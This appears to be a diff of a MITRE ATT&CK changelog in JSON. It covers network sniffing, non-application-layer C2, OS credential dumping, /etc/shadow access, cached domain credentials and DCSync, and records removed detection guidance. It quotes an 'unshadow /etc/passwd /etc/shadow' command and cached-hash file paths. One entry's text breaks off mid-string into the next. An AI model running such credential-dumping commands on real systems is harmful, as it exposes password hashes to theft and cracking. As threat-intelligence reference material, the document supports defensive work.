to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\\n-\\n-In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.\"}}}",
+ "previous_version": "1.7",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1030: Network Segmentation",
+ "M1032: Multi-factor Authentication",
+ "M1041: Encrypt Sensitive Information"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0314: Detection Strategy for Network Sniffing Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:10.728000+00:00",
+ "modified": "2025-10-24 17:49:20.136000+00:00",
+ "name": "Non-Application Layer Protocol",
+ "description": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nIn ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host\u2019s backdoor, regardless of network segmentation or firewall rules in place.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1095",
+ "external_id": "T1095"
+ },
+ {
+ "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
+ "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
+ },
+ {
+ "source_name": "University of Birmingham C2",
+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ },
+ {
+ "source_name": "Cisco Synful Knock Evolution",
+ "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
+ "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
+ },
+ {
+ "source_name": "Microsoft ICMP",
+ "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.",
+ "url": "http://support.microsoft.com/KB/170292"
+ },
+ {
+ "source_name": "Cisco Blog Legacy Device Attacks",
+ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
+ "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
+ },
+ {
+ "source_name": "Wikipedia OSI",
+ "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.",
+ "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Ryan Becwar",
+ "Duane Michael"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "2.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.136000+00:00\", \"old_value\": \"2025-04-15 19:59:04.779000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \\n\\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \\n-\\n-Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.\"}}}",
+ "previous_version": "2.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1030: Network Segmentation",
+ "M1031: Network Intrusion Prevention",
+ "M1037: Filter Network Traffic",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0457: Detection of Non-Application Layer Protocols for C2"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:19.735000+00:00",
+ "modified": "2025-10-24 17:48:22.201000+00:00",
+ "name": "OS Credential Dumping",
+ "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003",
+ "external_id": "T1003"
+ },
+ {
+ "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
+ "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
+ "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
+ },
+ {
+ "source_name": "AdSecurity DCSync Sept 2015",
+ "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
+ "url": "https://adsecurity.org/?p=1729"
+ },
+ {
+ "source_name": "Microsoft DRSR Dec 2017",
+ "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
+ "url": "https://msdn.microsoft.com/library/cc228086.aspx"
+ },
+ {
+ "source_name": "Microsoft NRPC Dec 2017",
+ "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
+ "url": "https://msdn.microsoft.com/library/cc237008.aspx"
+ },
+ {
+ "source_name": "Microsoft GetNCCChanges",
+ "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
+ "url": "https://msdn.microsoft.com/library/dd207691.aspx"
+ },
+ {
+ "source_name": "Microsoft SAMR",
+ "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
+ "url": "https://msdn.microsoft.com/library/cc245496.aspx"
+ },
+ {
+ "source_name": "Powersploit",
+ "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
+ "url": "https://github.com/mattifestation/PowerSploit"
+ },
+ {
+ "source_name": "Samba DRSUAPI",
+ "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
+ "url": "https://wiki.samba.org/index.php/DRSUAPI"
+ },
+ {
+ "source_name": "Harmj0y DCSync Sept 2015",
+ "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
+ "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
+ },
+ {
+ "source_name": "Brining MimiKatz to Unix",
+ "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
+ "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Vincent Le Toux",
+ "Ed Williams, Trustwave, SpiderLabs",
+ "Tim (Wadhwa-)Brown",
+ "Yves Yonan"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Access\", \"Process: OS API Execution\", \"File: File Access\", \"Process: Process Access\", \"Command: Command Execution\", \"Active Directory: Active Directory Object Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.201000+00:00\", \"old_value\": \"2025-04-15 22:53:37.617000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"### Windows\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n\\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \\n\\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n\\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\\n\\n### Linux\\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nLinux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \"user\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts.(Citation: Linux Password and Shadow File Formats)\n\nAdversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command.(Citation: Arctic Wolf) Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db(Citation: nixCraft - John the Ripper). Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both.",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003/008",
+ "external_id": "T1003.008"
+ },
+ {
+ "source_name": "Arctic Wolf",
+ "description": "Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher. (2024, November 22). Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices. Retrieved January 8, 2025.",
+ "url": "https://arcticwolf.com/resources/blog/arctic-wolf-observes-threat-campaign-targeting-palo-alto-networks-firewall-devices/"
+ },
+ {
+ "source_name": "Linux Password and Shadow File Formats",
+ "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
+ "url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html"
+ },
+ {
+ "source_name": "nixCraft - John the Ripper",
+ "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
+ "url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ ],
+ "x_mitre_version": "1.2",
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+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0446: Credential Access via /etc/passwd and /etc/shadow Parsing"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 15:42:25.991000+00:00",
+ "modified": "2025-10-24 17:48:54.919000+00:00",
+ "name": "Cached Domain Credentials",
+ "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003/005",
+ "external_id": "T1003.005"
+ },
+ {
+ "source_name": "PassLib mscache",
+ "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.",
+ "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html"
+ },
+ {
+ "source_name": "ired mscache",
+ "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.",
+ "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials"
+ },
+ {
+ "source_name": "Microsoft - Cached Creds",
+ "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"
+ },
+ {
+ "source_name": "Powersploit",
+ "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
+ "url": "https://github.com/mattifestation/PowerSploit"
+ },
+ {
+ "source_name": "Brining MimiKatz to Unix",
+ "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
+ "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Ed Williams, Trustwave, SpiderLabs",
+ "Tim (Wadhwa-)Brown",
+ "Yves Yonan"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_platforms": [
+ "Windows",
+ "Linux"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:54.919000+00:00\", \"old_value\": \"2025-04-15 21:55:45.923000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n-\\n-Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.\"}}}",
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+ "M1015: Active Directory Configuration",
+ "M1017: User Training",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1028: Operating System Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)"
+ ]
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+ "shared": [],
+ "new": [
+ "DET0513: Detection of Cached Domain Credential Dumping via Local Hash Cache Access"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:45:34.293000+00:00",
+ "modified": "2025-10-24 17:49:36.308000+00:00",
+ "name": "DCSync",
+ "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1003/006",
+ "external_id": "T1003.006"
+ },
+ {
+ "source_name": "GitHub Mimikatz lsadump Module",
+ "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
+ "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
+ },
+ {
+ "source_name": "ADSecurity Mimikatz DCSync",
+ "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
+ "url": "https://adsecurity.org/?p=1729"
+ },
+ {
+ "source_name": "AdSecurity DCSync Sept 2015",
+ "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
+ "url": "https://adsecurity.org/?p=1729"
+ },
+ {
+ "source_name": "Microsoft DRSR Dec 2017",
+ "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
+ "url": "https://msdn.microsoft.com/library/cc228086.aspx"
+ },
+ {
+ "source_name": "Microsoft NRPC Dec 2017",
+ "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
+ "url": "https://msdn.microsoft.com/library/cc237008.aspx"
+ },
+ {
+ "source_name": "Microsoft GetNCCChanges",
+ "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
+ "url": "https://msdn.microsoft.com/library/dd207691.aspx"
+ },
+ {
+ "source_name": "Microsoft SAMR",
+ "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
+ "url": "https://msdn.microsoft.com/library/cc245496.aspx"
+ },
+ {
+ "source_name": "Samba DRSUAPI",
+ "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
+ "url": "https://wiki.samba.org/index.php/DRSUAPI"
+ },
+ {
+ "source_name": "Harmj0y DCSync Sept 2015",
+ "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
+ "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
+ },
+ {
+ "source_name": "Harmj0y Mimikatz and DCSync",
+ "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.",
+ "url": "https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
+ },
+ {
+ "source_name": "InsiderThreat ChangeNTLM July 2017",
+ "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
+ "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
+ },
+ {
+ "source_name": "Wine API samlib.dll",
+ "description": "Wine API. (n.d.). samlib.dll. Retrieved November 17, 2024.",
+ "url": "https://strontic.github.io/xcyclopedia/library/samlib.dll-0BDF6351009F6EBA5BA7E886F23263B1.html"
+ }
+ ],
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "ExtraHop",
+ "Vincent Le Toux"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Access\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.308000+00:00\", \"old_value\": \"2025-04-15 22:13:04.812000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\\n\\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\\n-\\n-Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)\"}}}",
